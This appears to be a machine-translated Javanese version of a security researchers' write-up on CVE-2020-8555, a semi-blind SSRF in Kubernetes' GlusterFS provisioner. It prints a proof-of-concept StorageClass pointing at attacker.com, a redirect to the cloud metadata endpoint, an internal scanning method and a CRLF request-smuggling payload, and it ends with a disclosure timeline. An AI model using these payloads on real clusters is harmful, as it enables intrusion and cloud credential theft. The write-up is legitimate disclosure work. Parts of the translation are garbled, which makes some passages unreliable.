🥇Nalika ora mung babagan kerentanan ing Kubernetes...

Cathetan. nerjemahake.: penulis artikel iki ngomong kanthi rinci babagan carane bisa nemokake kerentanan kasebut CVE-2020–8555 ing Kubernetes. Sanajan wiwitane ora mbebayani banget, kanthi kombinasi karo faktor liya, kritisi kasebut dadi maksimal kanggo sawetara panyedhiya awan. Sawetara organisasi menehi hadiah kanthi murah marang spesialis kanggo karyane.

Sapa kita

Kita minangka loro peneliti keamanan Prancis sing bebarengan nemokake kerentanan ing Kubernetes. Jeneng kita yaiku Brice Augras lan Christophe Hauquiert, nanging ing pirang-pirang platform Bug Bounty, kita dikenal minangka Reeverzax lan Hach:

Brice Augras - Groupe Asten Company;
Christophe Hauquiert - Kubernetes arsitek ing Nokia.

Apa sing kedadeyan?

Artikel iki minangka cara kita nuduhake kepiye proyek riset biasa sing ora disangka-sangka dadi petualangan sing paling nyenengake ing urip para pemburu bug (paling ora saiki).

Kaya sing sampeyan ngerteni, pamburu bug duwe sawetara fitur sing penting:

padha manggon ing pizza lan bir;
padha kerja nalika wong liya lagi turu.

Kita ora istiméwa kanggo aturan iki: kita biasane ketemu ing akhir minggu lan nglampahi sleepless bengi hacking. Nanging salah sawijining bengi iki rampung kanthi cara sing ora biasa.

Kaping pisanan kita arep ketemu kanggo ngrembug partisipasi ing CTF dina sabanjuré. Sajrone obrolan babagan keamanan Kubernetes ing lingkungan layanan sing dikelola, kita kelingan ide lawas SSRF (Pemalsuan Panjaluk Sisih Server) lan mutusake kanggo nyoba nggunakake minangka skrip serangan.

Ing 11 pm kita lungguh mudhun kanggo nindakake riset kita lan turu awal ing esuk, banget wareg karo asil. Amarga riset iki, kita nemokake program MSRC Bug Bounty lan entuk eksploitasi eskalasi hak istimewa.

Sawetara minggu / sasi liwati, lan asil sing ora dikarepke ngasilake salah sawijining hadiah paling dhuwur ing sajarah Azure Cloud Bug Bounty - saliyane sing ditampa saka Kubernetes!

Adhedhasar proyek riset kita, Komite Keamanan Produk Kubernetes diterbitake CVE-2020–8555.

Saiki aku pengin nyebar informasi babagan kerentanan sing ditemokake sabisa-bisa. Muga-muga sampeyan seneng nemokake lan nuduhake rincian teknis karo anggota komunitas infosec liyane!

Dadi iki crita kita ...

Konteks

Kanggo ngerteni apa sing kedadeyan, ayo ndeleng kepiye cara kerja Kubernetes ing lingkungan sing dikelola awan.

Yen sampeyan nggawe gugus Kubernetes ing lingkungan kaya ngono, lapisan manajemen biasane dadi tanggung jawab panyedhiya awan:

Lapisan kontrol dumunung ing keliling panyedhiya awan, dene simpul Kubernetes dumunung ing keliling pelanggan.

Kanggo ngalokasi volume kanthi dinamis, mekanisme digunakake kanggo nyedhiyakake kanthi dinamis saka backend panyimpenan eksternal lan mbandhingake karo PVC (klaim volume sing terus-terusan, yaiku panjaluk volume).

Mangkono, sawise PVC digawe lan kaiket StorageClass ing kluster K8s, tumindak luwih kanggo nyedhiyani volume dijupuk dening manager kube / maya controller (jeneng pas gumantung release). (Cathetan. nerjemahake.: Kita wis nulis luwih akeh babagan CCM nggunakake conto implementasine kanggo salah sawijining panyedhiya maya kene.)

Ana sawetara jinis provisioner sing didhukung dening Kubernetes: paling akeh kalebu ing inti orkestra, nalika liyane dikelola dening provisioner tambahan sing diselehake ing pods ing kluster.

Ing riset kita, kita fokus ing mekanisme penyediaan volume internal, sing digambarake ing ngisor iki:

Penyediaan volume dinamis nggunakake panyedhiya Kubernetes sing dibangun

Ing cendhak, nalika Kubernetes disebarake ing lingkungan sing dikelola, manajer pengontrol dadi tanggung jawab panyedhiya awan, nanging panyuwunan nggawe volume (nomer 3 ing diagram ing ndhuwur) ninggalake jaringan internal panyedhiya awan. Lan iki ngendi iku dadi menarik banget!

Skenario hacking

Ing bagean iki, kita bakal nerangake carane njupuk kauntungan saka alur kerja kasebut ing ndhuwur lan ngakses sumber daya internal panyedhiya layanan awan. Iki uga bakal nuduhake sampeyan carane sampeyan bisa nindakake tumindak tartamtu, kayata entuk kredensial internal utawa hak istimewa sing mundhak.

Siji manipulasi prasaja (ing kasus iki, Service Side Request Forgery) mbantu ngluwihi lingkungan klien menyang klompok macem-macem panyedhiya layanan ing K8 sing dikelola.

Ing riset kita fokus ing panyedhiya GlusterFS. Senadyan kasunyatan manawa urutan tumindak luwih diterangake ing konteks iki, Quobyte, StorageOS lan ScaleIO rentan marang kerentanan sing padha.

Penyalahgunaan mekanisme penyediaan volume dinamis

Sajrone analisis kelas panyimpenan GlusterFS ing kode sumber klien Golang kita ngeweruhising ing panjalukan HTTP pisanan (3) dikirim nalika nggawe volume, kanggo mburi URL khusus ing parameter resturl ditambahake /volumes.

Kita mutusake kanggo nyingkirake dalan tambahan iki kanthi nambah # ing parameter resturl. Iki minangka konfigurasi YAML pisanan sing digunakake kanggo nguji kerentanan SSRF semi-buta (sampeyan bisa maca liyane babagan SSRF semi-buta utawa setengah wuta, contone, kene - kira-kira. transl.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Banjur kita nggunakake binar kanggo mbatalake ngatur cluster Kubernetes kubectl. Biasane, panyedhiya maya (Azure, Google, AWS, lsp.) ngidini sampeyan entuk kredensial kanggo digunakake ing sarana iki.

Thanks kanggo iki, aku bisa nggunakake file "khusus". Kube-controller-manager nglakokake panjaluk HTTP sing diasilake:

kubectl create -f sc-poc.yaml

Jawaban saka sudut pandang penyerang

Sakcepete sawise iki, kita uga bisa nampa respon HTTP saka server target - liwat printah describe pvc utawa get events ing kubectl. Lan pancen: pembalap Kubernetes standar iki banget verbose ing bebaya / pesen kesalahan ...

Punika conto karo link kanggo https://www.google.frdisetel minangka parameter resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Ing pendekatan iki, kita diwatesi kanggo pitakon kaya HTTP POST lan ora bisa njaluk isi awak respon yen kode bali 201. Mulane, kita mutusake kanggo nindakake riset tambahan lan ngembangake skenario hacking iki kanthi pendekatan anyar.

Evolusi riset kita

Skenario Lanjut #1: Nggunakake pangalihan 302 saka server eksternal kanggo ngganti cara HTTP kanggo nyedhiyakake cara sing luwih fleksibel kanggo ngumpulake data internal.
Skenario Lanjut #2: Otomatis mindhai LAN lan panemuan sumber daya internal.
Skenario lanjut #3: nggunakake HTTP CRLF + smuggling ("request smuggling") kanggo nggawe panjalukan HTTP sing disesuaikan lan njupuk data sing diekstrak saka log kube-controller.

Spesifikasi Teknis

Panaliten kasebut nggunakake Layanan Azure Kubernetes (AKS) kanthi Kubernetes versi 1.12 ing wilayah Eropa Lor.
Skenario sing diterangake ing ndhuwur ditindakake ing rilis paling anyar saka Kubernetes, kajaba skenario katelu, amarga dheweke butuh Kubernetes sing dibangun nganggo versi Golang ≤ 1.12.
Server eksternal penyerang - https://attacker.com.

Skenario Lanjut #1: Ngalihake panjalukan HTTP POST menyang GET lan nampa data sensitif

Cara asli wis apik dening konfigurasi saka server panyerang kanggo bali 302 HTTP Retcodekanggo ngowahi panjalukan POST menyang panjalukan GET (langkah 4 ing diagram):

Panjaluk pisanan (3) teka saka klien GlusterFS (Controller Manager), duwe jinis POST. Kanthi ngetutake langkah-langkah iki, kita bisa ngowahi dadi GET:

Minangka parameter resturl ing StorageClass dituduhake http://attacker.com/redirect.php.
Endpoint https://attacker.com/redirect.php nanggapi nganggo kode status HTTP 302 kanthi Header Lokasi ing ngisor iki: http://169.254.169.254. Iki bisa dadi sumber internal liyane - ing kasus iki, pranala pangalihan mung digunakake minangka conto.
standar net/http perpustakaan Golang ngarahake panyuwunan lan ngowahi POST menyang GET kanthi kode status 302, nyebabake panjalukan HTTP GET menyang sumber target.

Kanggo maca awak respon HTTP sampeyan kudu nindakake describe Objek PVC:

kubectl describe pvc xxx

Iki minangka conto respon HTTP ing format JSON sing bisa ditampa:

Kapabilitas kerentanan sing ditemokake ing wektu kasebut diwatesi amarga titik-titik ing ngisor iki:

Ora bisa nglebokake header HTTP menyang panjalukan sing metu.
Ora bisa nindakake panjaluk POST kanthi paramèter ing awak (iku trep kanggo njaluk nilai kunci saka conto etcd sing mlaku ing 2379 port yen HTTP sing ora dienkripsi digunakake).
Ora bisa njupuk isi awak respon nalika kode status 200 lan respon ora duwe JSON Content-Type.

Skenario lanjut #2: Mindhai jaringan lokal

Cara SSRF setengah wuta iki banjur digunakake kanggo mindhai jaringan internal panyedhiya maya lan polling macem-macem layanan ngrungokake (Conto Metadata, Kubelet, etcd, etc.) adhedhasar respon pengontrol kube.

Pisanan, port ngrungokake standar komponen Kubernetes ditemtokake (8443, 10250, 10251, lsp.), banjur kita kudu ngotomatisasi proses pemindaian.

Delengen manawa metode pemindaian sumber daya iki spesifik banget lan ora kompatibel karo scanner klasik lan alat SSRF, kita mutusake nggawe buruh dhewe ing skrip bash sing ngotomatisasi kabeh proses.

Contone, supaya cepet mindai sawetara 172.16.0.0/12 saka jaringan internal, 15 buruh padha dibukak ing podo karo. Range IP ing ndhuwur wis dipilih mung minangka conto lan bisa uga diganti ing jangkoan IP panyedhiya layanan tartamtu sampeyan.

Kanggo mindhai siji alamat IP lan siji port, sampeyan kudu nindakake ing ngisor iki:

mbusak StorageClass pungkasan dicenthang;
mbusak Klaim Volume Persistent sing wis diverifikasi sadurunge;
ngganti nilai IP lan Port ing sc.yaml;
nggawe StorageClass karo IP anyar lan port;
nggawe PVC anyar;
extract asil scan nggunakake describe kanggo PVC.

Skenario lanjut #3: Injeksi CRLF + HTTP penyelundupan ing versi "lawas" saka kluster Kubernetes

Yen saliyane iki panyedhiya nawakake klien versi lawas saka kluster K8s и menehi akses menyang log kube-controller-manager, efek kasebut dadi luwih penting.

Pancen luwih trep kanggo panyerang ngganti panjalukan HTTP sing dirancang kanggo entuk respon HTTP lengkap miturut kawicaksanane.

Kanggo ngleksanakake skenario pungkasan, syarat ing ngisor iki kudu dipenuhi:

Pangguna kudu nduweni akses menyang log kube-controller-manager (kayata, contone, ing Azure LogInsights).
Kluster Kubernetes kudu nggunakake versi Golang sing luwih murah tinimbang 1.12.

Kita nyebarake lingkungan lokal sing simulasi komunikasi antarane klien GlusterFS Go lan server target palsu (saiki kita ora bakal nerbitake PoC).

Ditemokake kerentanan, mengaruhi versi Golang sing luwih murah tinimbang 1.12 lan ngidini peretas nindakake serangan penyelundupan HTTP/CRLF.

Kanthi nggabungake SSRF setengah wuta sing diterangake ing ndhuwur вместе kanthi iki, kita bisa ngirim panjalukan sing dikarepake, kalebu ngganti header, cara HTTP, paramèter lan data, sing banjur diproses kube-controller-manager.

Iki minangka conto "umpan" sing digunakake ing parameter resturl StorageClass, sing ngetrapake skenario serangan sing padha:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Asil ana kesalahan respon sing ora dikarepake, pesen babagan sing direkam ing log controller. Thanks kanggo verbosity sing diaktifake kanthi standar, isi pesen respon HTTP uga disimpen ing kana.

Iki minangka "umpan" paling efektif ing kerangka bukti konsep.

Nggunakake pendekatan iki, kita bisa nindakake sawetara serangan ing ngisor iki ing kluster saka macem-macem panyedhiya k8s ngatur: eskalasi hak istimewa karo kapercayan ing metadata conto, Master DoS liwat (unencrypted) panjalukan HTTP ing etcd kedadean master, etc.

Akibat

Ing statement resmi Kubernetes babagan kerentanan SSRF sing ditemokake, dirating CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Yen kita nganggep mung kerentanan sing ana gandhengane karo perimeter Kubernetes, vektor integritas (vektor integritas) iku nduweni kualifikasi minangka Ana.

Nanging, ngira-ngira konsekuensi sing bisa ditindakake ing konteks lingkungan layanan sing dikelola (lan iki minangka bagean sing paling menarik saka riset kita!) CVSS Kritis10/10 kanggo akeh distributor.

Ing ngisor iki ana informasi tambahan kanggo mbantu sampeyan ngerti pertimbangan nalika ngevaluasi dampak potensial ing lingkungan awan:

Integritas

Nglakokake prentah saka jarak adoh nggunakake kredensial internal sing dipikolehi.
Reproduksi skenario ing ndhuwur nggunakake metode IDOR (Insecure Direct Object Reference) karo sumber daya liyane sing ditemokake ing jaringan lokal.

Rahasia

Tipe serangan Gerakan Sisih thanks kanggo nyolong kredensial maya (contone, metadata API).
Nglumpukake informasi kanthi mindhai jaringan lokal (nemtokake versi SSH, versi server HTTP, ...).
Ngumpulake informasi conto lan infrastruktur kanthi polling API internal kayata metadata API (http://169.254.169.254,…).
Nyolong data pelanggan nggunakake kredensial maya.

Kasedhiyan

Kabeh skenario eksploitasi related kanggo vektor serangan ing integritas, bisa digunakake kanggo tumindak ngrusak lan mimpin kanggo kedadean master saka perimeter klien (utawa liyane) ora kasedhiya.

Awit kita padha ing lingkungan K8s ngatur lan netepke impact ing integritas, kita bisa mbayangno akeh skenario sing bisa impact kasedhiyan. Conto tambahan kalebu ngrusak database etcd utawa nelpon kritis menyang API Kubernetes.

Timeline

6 Desember 2019: Kerentanan dilaporake menyang MSRC Bug Bounty.
3 Januari 2020: Pihak katelu ngandhani pangembang Kubernetes yen kita lagi nggarap masalah keamanan. Lan njaluk supaya SSRF dianggep minangka kerentanan internal (in-inti). Kita banjur nyedhiyakake laporan umum kanthi rincian teknis babagan sumber masalah kasebut.
15 Januari 2020: Kita nyedhiyakake laporan teknis lan umum kanggo pangembang Kubernetes miturut panjaluke (liwat platform HackerOne).
15 Januari 2020: Pangembang Kubernetes ngandhani yen injeksi SSRF + CRLF setengah buta kanggo rilis kepungkur dianggep minangka kerentanan inti. Kita langsung mandheg nganalisa perimeter panyedhiya layanan liyane: tim K8s saiki wis ngatasi sababe.
15 Januari 2020: Ganjaran MSRC ditampa liwat HackerOne.
16 Januari 2020: Kubernetes PSC (Komite Keamanan Produk) ngakoni kerentanan kasebut lan njaluk supaya rahasia nganti pertengahan Maret amarga akeh korban potensial.
11 Februari 2020: Ganjaran Google VRP ditampa.
4 Maret 2020: Ganjaran Kubernetes ditampa liwat HackerOne.
15 Maret 2020: Pengungkapan umum sing dijadwalake asli ditundha amarga kahanan COVID-19.
1 Juni 2020: Pernyataan gabungan Kubernetes + Microsoft babagan kerentanan kasebut.

TL; DR

Kita ngombe bir lan mangan pizza :)
Kita nemokake kerentanan inti ing Kubernetes, sanajan kita ora duwe niat nglakoni.
Kita nindakake analisis tambahan babagan klompok panyedhiya awan sing beda-beda lan bisa nambah karusakan sing disebabake kerentanan kanggo nampa bonus apik tenan.
Sampeyan bakal nemokake akeh rincian teknis ing artikel iki. Kita bakal seneng ngrembug karo sampeyan (Twitter: @ReeverZax & @__hach_).
Pranyata kabeh formalitas lan laporan njupuk luwih suwe tinimbang sing dikarepake.

referensi

PS saka penerjemah

Waca uga ing blog kita:

Source: www.habr.com

Nalika ora mung babagan kerentanan Kubernetes ...